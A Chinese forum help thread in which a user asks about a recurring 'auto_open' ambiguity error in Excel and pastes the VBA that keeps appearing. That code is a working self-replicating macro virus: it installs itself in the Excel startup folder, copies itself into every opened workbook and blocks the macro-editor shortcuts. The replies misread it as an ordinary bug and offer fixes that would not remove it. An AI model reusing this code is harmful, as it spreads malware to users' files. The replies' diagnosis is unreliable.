每次打开execl时都会出现
“发现二义性的名称:auto_open”
的提示。
而且,会出现好几个StartUp_2、StartUp_3、StartUp_4、StartUp_5的模块。每打开一次,就会多一个StartUp_n。
这是为什么呢???
在线等待大侠们。。
“发现二义性的名称:auto_open”
的提示。
而且,会出现好几个StartUp_2、StartUp_3、StartUp_4、StartUp_5的模块。每打开一次,就会多一个StartUp_n。
这是为什么呢???
在线等待大侠们。。
?什么东东
如果它用于自动运行宏,你就改成AutoOpen;如果不是把它改名为别的,再试。
这是怎么回事呢???????????????
我看了。原来的文件中,VBAProject(文件名)中的ThisWorkBook是空的。里面什么都没有啊。我还发现一个现象。我每保存一次,就会多一个StartUp_n.不知道为什么。
每个StartUp_n里面都是这些内容:
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub还有,我抓的图怎么粘贴不到这里面呢,很想抓个图给你们看。
http://hi.csdn.net/attachment/201007/6/2811209_1278418985QQnI.png每次查看VBA,就会看到多了一个StartUp_n,如图:
http://hi.csdn.net/attachment/201007/6/2811209_1278419005Yfy3.png
等待HELP中。
每次查看VBA,就会看到多了一个StartUp_n,如图:
等待HELP中。
等待中。
猜可能saveas导致的,改成 save
**********************************怎么两个?
因为我将原execl中所有东东,都拷贝到新建的execl中。新建的execl不会出现“二义性:auto_open”的错误。而且,新的execl中的StartUp中的代码和原来的相同。